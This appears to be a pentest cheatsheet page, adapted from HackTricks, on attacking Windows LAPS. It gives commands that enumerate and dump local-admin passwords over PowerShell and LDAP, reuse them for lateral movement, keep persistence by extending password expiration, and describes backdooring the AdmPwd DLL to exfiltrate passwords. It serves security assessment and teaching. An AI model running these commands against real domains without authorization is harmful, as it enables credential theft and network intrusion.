daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

laps.md (17477B)


      1 ---
      2 title: "LAPS"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/laps.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/laps.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # LAPS
     14 
     15 ## Basic Information
     16 
     17 There are currently **2 LAPS flavours** you can encounter during an assessment:
     18 
     19 - **Legacy Microsoft LAPS**: stores the local administrator password in **`ms-Mcs-AdmPwd`** and the expiration time in **`ms-Mcs-AdmPwdExpirationTime`**.
     20 - **Windows LAPS** (built into Windows since the April 2023 updates): can still emulate legacy mode, but in native mode it uses **`msLAPS-*`** attributes, supports **password encryption**, **password history**, and **DSRM password backup** for domain controllers.
     21 
     22 LAPS is designed to manage **local administrator passwords**, making them **unique, randomized, and frequently changed** on domain-joined computers. If you can read those attributes, you can usually **pivot as the local admin** to the affected host. In many environments, the interesting part is not only reading the password itself, but also finding **who was delegated access** to the password attributes.
     23 
     24 ### Legacy Microsoft LAPS attributes
     25 
     26 In the domain's computer objects, the implementation of legacy Microsoft LAPS results in the addition of two attributes:<sup>[[1]](#references)</sup>
     27 
     28 - **`ms-Mcs-AdmPwd`**: **plain-text administrator password**
     29 - **`ms-Mcs-AdmPwdExpirationTime`**: **password expiration time**
     30 
     31 ### Windows LAPS attributes
     32 
     33 Native Windows LAPS adds several new attributes to computer objects:<sup>[[2]](#references)</sup>
     34 
     35 - **`msLAPS-Password`**: clear-text password blob stored as JSON when encryption is not enabled
     36 - **`msLAPS-PasswordExpirationTime`**: scheduled expiration time
     37 - **`msLAPS-EncryptedPassword`**: encrypted current password
     38 - **`msLAPS-EncryptedPasswordHistory`**: encrypted password history
     39 - **`msLAPS-EncryptedDSRMPassword`** / **`msLAPS-EncryptedDSRMPasswordHistory`**: encrypted DSRM password data for domain controllers
     40 - **`msLAPS-CurrentPasswordVersion`**: GUID-based version tracking used by newer rollback-detection logic (Windows Server 2025 forest schema)
     41 
     42 When **`msLAPS-Password`** is readable, the value is a JSON object containing the account name, update time and clear-text password, for example:<sup>[[2]](#references)</sup>
     43 
     44 ```json
     45 {"n":"Administrator","t":"1d8161b41c41cde","p":"A6a3#7%..."}
     46 ```
     47 
     48 ### Check if activated
     49 
     50 ```bash
     51 # Legacy Microsoft LAPS policy
     52 reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
     53 
     54 dir "C:\Program Files\LAPS\CSE"
     55 # Check if that folder exists and contains AdmPwd.dll
     56 
     57 # Native Windows LAPS binaries / PowerShell module
     58 Get-Command *Laps*
     59 dir "$env:windir\System32\LAPS"
     60 
     61 # Find GPOs that have "LAPS" or some other descriptive term in the name
     62 Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
     63 
     64 # Legacy Microsoft LAPS-enabled computers (any Domain User can usually read the expiration attribute)
     65 Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" |
     66   ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } |
     67   select DnsHostname
     68 
     69 # Native Windows LAPS-enabled computers
     70 Get-DomainObject -LDAPFilter '(|(msLAPS-PasswordExpirationTime=*)(msLAPS-EncryptedPassword=*)(msLAPS-Password=*))' |
     71   select DnsHostname
     72 ```
     73 
     74 ## LAPS Password Access
     75 
     76 You could **download the raw LAPS policy** from `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` and then use **`Parse-PolFile`** from the [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) package to convert this file into human-readable format.
     77 
     78 ### Legacy Microsoft LAPS PowerShell cmdlets
     79 
     80 If the legacy LAPS module is installed, the following cmdlets are usually available:
     81 
     82 ```bash
     83 Get-Command *AdmPwd*
     84 
     85 CommandType     Name                                               Version    Source
     86 -----------     ----                                               -------    ------
     87 Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
     88 Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
     89 Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
     90 Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
     91 Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
     92 Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
     93 Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
     94 Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS
     95 
     96 # List who can read the LAPS password of the given OU
     97 Find-AdmPwdExtendedRights -Identity Workstations | fl
     98 
     99 # Read the password
    100 Get-AdmPwdPassword -ComputerName wkstn-2 | fl
    101 ```
    102 
    103 ### Windows LAPS PowerShell cmdlets
    104 
    105 Native Windows LAPS ships with a new PowerShell module and new cmdlets:
    106 
    107 ```bash
    108 Get-Command *Laps*
    109 
    110 # Discover who has extended rights over the OU
    111 Find-LapsADExtendedRights -Identity Workstations
    112 
    113 # Read a password from AD
    114 Get-LapsADPassword -Identity wkstn-2 -AsPlainText
    115 
    116 # Include password history if encryption/history is enabled
    117 Get-LapsADPassword -Identity wkstn-2 -AsPlainText -IncludeHistory
    118 
    119 # Query DSRM password from a DC object
    120 Get-LapsADPassword -Identity dc01.contoso.local -AsPlainText
    121 
    122 # Use alternate credentials for an authorized decryptor
    123 $cred = Get-Credential CONTOSO\LAPSDecryptor
    124 Get-LapsADPassword -Identity wkstn-2 -AsPlainText -DecryptionCredential $cred
    125 ```
    126 
    127 A few operational details matter here:<sup>[[3]](#references)</sup>
    128 
    129 - **`Get-LapsADPassword`** automatically handles **legacy LAPS**, **clear-text Windows LAPS**, and **encrypted Windows LAPS**.
    130 - If the password is encrypted and you can **read** but not **decrypt** it, the cmdlet returns metadata such as **`Source`**, **`DecryptionStatus`**, and **`AuthorizedDecryptor`** even when it can't return the clear-text password.
    131 - In **encrypted Windows LAPS**, **read permission** and **decrypt permission** are **different controls**. Having OU / object read access doesn't automatically mean you can decrypt **`msLAPS-EncryptedPassword`**.
    132 - **Password history** is only available when **Windows LAPS encryption** is enabled.
    133 - On domain controllers, the returned source can be **`EncryptedDSRMPassword`**.
    134 
    135 This is useful during an assessment because the **`AuthorizedDecryptor`** field tells you **which user or group the blob was encrypted for**, often turning a failed password read into a new privilege-escalation target.
    136 
    137 ### PowerView / LDAP
    138 
    139 **PowerView** can also be used to find out **who can read the password and read it**:
    140 
    141 ```bash
    142 # Legacy Microsoft LAPS: find principals with rights over the OU
    143 Find-AdmPwdExtendedRights -Identity Workstations | fl
    144 
    145 # Legacy Microsoft LAPS: read the password directly from LDAP
    146 Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
    147 
    148 # Native Windows LAPS clear-text mode
    149 Get-DomainObject -Identity wkstn-2 -Properties msLAPS-Password,msLAPS-PasswordExpirationTime
    150 ```
    151 
    152 If **`msLAPS-Password`** is readable, parse the returned JSON and extract **`p`** for the password and **`n`** for the managed local admin account name.
    153 
    154 ```bash
    155 # Extract both the password and the real managed account name
    156 $laps = (Get-DomainObject -Identity wkstn-2 -Properties msLAPS-Password)."msLAPS-Password" | ConvertFrom-Json
    157 $laps.n
    158 $laps.p
    159 ```
    160 
    161 That **`n`** field matters on newer deployments because **Windows LAPS automatic account management** can target a **custom account** instead of the built-in **`Administrator`**, and newer **Windows 11 24H2 / Windows Server 2025** systems can even **randomize** that account name.<sup>[[4]](#references)</sup>
    162 
    163 ### Linux / remote tooling
    164 
    165 Modern tooling supports both legacy Microsoft LAPS and Windows LAPS.
    166 
    167 ```bash
    168 # NetExec / CrackMapExec lineage: dump LAPS values over LDAP
    169 nxc ldap 10.10.10.10 -u user -p password -M laps
    170 
    171 # Filter to a subset of computers
    172 nxc ldap 10.10.10.10 -u user -p password -M laps -o COMPUTER='WKSTN-*'
    173 
    174 # Use read LAPS access to authenticate to hosts at scale
    175 nxc smb 10.10.10.0/24 -u user-can-read-laps -p 'Passw0rd!' --laps
    176 
    177 # If the local admin name is not Administrator
    178 nxc smb 10.10.10.0/24 -u user-can-read-laps -p 'Passw0rd!' --laps customadmin
    179 
    180 # Legacy Microsoft LAPS with bloodyAD
    181 bloodyAD --host 10.10.10.10 -d contoso.local -u user -p 'Passw0rd!' \
    182   get search --filter '(ms-mcs-admpwdexpirationtime=*)' \
    183   --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
    184 ```
    185 
    186 Notes:
    187 
    188 - Recent **NetExec** builds support **`ms-Mcs-AdmPwd`**, **`msLAPS-Password`**, and **`msLAPS-EncryptedPassword`**.
    189 - **`pyLAPS`** is still useful for **legacy Microsoft LAPS** from Linux, but it only targets **`ms-Mcs-AdmPwd`**.
    190 - Newer cross-platform tooling such as **`LAPS4LINUX`**, **`dpapi-ng`**-based tooling, and recent **NetExec** workflows can also handle **native Windows LAPS** from non-Windows hosts.
    191 - If the environment uses **encrypted Windows LAPS**, a simple LDAP read is not enough; you also need to be an **authorized decryptor** (or equivalent decryption material, such as offline domain DPAPI-NG root key material).<sup>[[5]](#references)</sup>
    192 - On **Windows 11 24H2 / Windows Server 2025**, don't assume the managed local admin is always **`Administrator`**. Automatic account management can create a custom account and optionally randomize its name, so discover the account name first via **`n`** / **`Account`** before using **`--laps`** at scale.<sup>[[4]](#references)</sup>
    193 
    194 ### Directory synchronization abuse
    195 
    196 If you have domain-level **directory synchronization** rights instead of direct read access on each computer object, LAPS can still be interesting.
    197 
    198 The combination of **`DS-Replication-Get-Changes`** with **`DS-Replication-Get-Changes-In-Filtered-Set`** or **`DS-Replication-Get-Changes-All`** can be used to synchronize **confidential / RODC-filtered** attributes such as legacy **`ms-Mcs-AdmPwd`**. BloodHound models this as **`SyncLAPSPassword`**. Check [DCSync](/hacktricks/windows-hardening/active-directory-methodology/dcsync) for the replication-rights background.
    199 
    200 ## LAPSToolkit
    201 
    202 The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilitates the enumeration of LAPS with several functions.<sup>[[6]](#references)</sup>\
    203 One is parsing **`ExtendedRights`** for **all computers with LAPS enabled.** This shows **groups** specifically **delegated to read LAPS passwords**, which are often users in protected groups.\
    204 An **account** that has **joined a computer** to a domain receives `All Extended Rights` over that host, and this right gives the **account** the ability to **read passwords**. Enumeration may show a user account that can read the LAPS password on a host. This can help us **target specific AD users** who can read LAPS passwords.
    205 
    206 ```bash
    207 # Get groups that can read passwords
    208 Find-LAPSDelegatedGroups
    209 
    210 OrgUnit                                           Delegated Groups
    211 -------                                           ----------------
    212 OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
    213 OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin
    214 
    215 # Checks the rights on each computer with LAPS enabled for any groups
    216 # with read access and users with "All Extended Rights"
    217 Find-AdmPwdExtendedRights
    218 ComputerName                Identity                    Reason
    219 ------------                --------                    ------
    220 MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
    221 MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated
    222 
    223 # Get computers with LAPS enabled, expiration time and the password (if you have access)
    224 Get-LAPSComputers
    225 ComputerName                Password       Expiration
    226 ------------                --------       ----------
    227 DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41
    228 ```
    229 
    230 ## Dumping LAPS Passwords With NetExec / CrackMapExec
    231 
    232 If you don't have an interactive PowerShell, you can abuse this privilege remotely over LDAP:
    233 
    234 ```bash
    235 # Legacy syntax still widely seen in writeups
    236 crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
    237 
    238 # Current project name / syntax
    239 nxc ldap 10.10.10.10 -u user -p password -M laps
    240 ```
    241 
    242 This dumps all the LAPS secrets that the user can read, allowing you to move laterally with a different local administrator password.
    243 
    244 ## Using LAPS Password
    245 
    246 ```bash
    247 xfreerdp /v:192.168.1.1:3389 /u:Administrator
    248 Password: 2Z@Ae)7!{9#Cq
    249 
    250 python psexec.py Administrator@web.example.com
    251 Password: 2Z@Ae)7!{9#Cq
    252 ```
    253 
    254 ## LAPS Persistence
    255 
    256 ### Expiration Date
    257 
    258 Once admin, it's possible to **obtain the passwords** and **prevent** a machine from **updating** its **password** by **setting the expiration date into the future**.
    259 
    260 Legacy Microsoft LAPS:
    261 
    262 ```bash
    263 # Get expiration time
    264 Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
    265 
    266 # Change expiration time
    267 ## SYSTEM on the computer is needed
    268 Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
    269 ```
    270 
    271 Native Windows LAPS uses **`msLAPS-PasswordExpirationTime`** instead:
    272 
    273 ```bash
    274 # Read the current expiration timestamp
    275 Get-DomainObject -Identity wkstn-2 -Properties msLAPS-PasswordExpirationTime
    276 
    277 # Push the expiration into the future
    278 Set-DomainObject -Identity wkstn-2 -Set @{"msLAPS-PasswordExpirationTime"="133801632000000000"}
    279 ```
    280 
    281 > [!WARNING]
    282 > The password will still rotate if an **admin** uses **`Reset-AdmPwdPassword`** / **`Reset-LapsPassword`**, or if **Do not allow password expiration time longer than required by policy** is enabled.
    283 
    284 ### Snapshot rollback caveat on newer Windows LAPS
    285 
    286 Older snapshot / image rollback tricks are **less reliable** against recent **Windows LAPS** deployments. On **Windows 11 24H2 / Windows Server 2025**, if the forest schema includes **`msLAPS-CurrentPasswordVersion`** (**Windows Server 2025 forest schema**), the client compares a locally cached GUID with the value stored in AD and **immediately rotates the password** when a rollback creates a **torn state**.
    287 
    288 In practice, this means snapshot-based persistence or attempts to resurrect an older known local admin password can burn quickly instead of surviving until the next normal expiration.<sup>[[2]](#references)</sup>
    289 
    290 This protection only applies to **AD-backed Windows LAPS** and still depends on the reverted machine being able to **authenticate back to AD**. If the machine can't talk to AD anymore, **password history** or **AD backup access** may still save the day.
    291 
    292 ### Automatic account management tamper caveat
    293 
    294 When **automatic account management** is enabled, Windows LAPS owns the lifecycle of the managed local admin account. Unexpected attempts to rename, reconfigure, or otherwise tamper with that account can be rejected with **`STATUS_POLICY_CONTROLLED_ACCOUNT`** / **`ERROR_POLICY_CONTROLLED_ACCOUNT`**, so persistence that depends on silently modifying the managed LAPS account is less reliable on newer endpoints.<sup>[[4]](#references)</sup>
    295 
    296 ### Recovering historical passwords from AD backups
    297 
    298 When **Windows LAPS encryption + password history** is enabled, mounted AD backups can become an additional source of secrets. If you can access a mounted AD snapshot and use **recovery mode**, you can query older stored passwords without talking to a live DC.<sup>[[3]](#references)</sup>
    299 
    300 ```bash
    301 # Query a mounted AD snapshot on port 50000
    302 Get-LapsADPassword -Identity wkstn-2 -AsPlainText -Port 50000 -RecoveryMode
    303 
    304 # Historical entries if history is enabled
    305 Get-LapsADPassword -Identity wkstn-2 -AsPlainText -IncludeHistory -Port 50000 -RecoveryMode
    306 ```
    307 
    308 This is mostly relevant during **AD backup theft**, **offline forensics abuse**, or **disaster-recovery media access**.
    309 
    310 ### Backdoor
    311 
    312 The original source code for legacy Microsoft LAPS can be found [here](https://github.com/GreyCorbel/admpwd), therefore it's possible to put a backdoor in the code (inside the `Get-AdmPwdPassword` method in `Main/AdmPwd.PS/Main.cs` for example) that will somehow **exfiltrate new passwords or store them somewhere**.
    313 
    314 Then, compile the new `AdmPwd.PS.dll` and upload it to the machine in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (and change the modification time).
    315 
    316 ## References
    317 
    318 - [1] [Introduction to Microsoft LAPS – Local Administrator Password Solution](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
    319 - [2] [Windows LAPS schema and rights extensions for Windows Server Active Directory](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-technical-reference)
    320 - [3] [Get started with Windows LAPS and Windows Server Active Directory](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory)
    321 - [4] [Windows LAPS account management modes](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-concepts-account-management-modes)
    322 - [5] [LAPS 2.0 Internals - XPN Infosec Blog](https://blog.xpnsec.com/lapsv2-internals/)
    323 - [6] [LAPSToolkit - leoloobeek](https://github.com/leoloobeek/LAPSToolkit)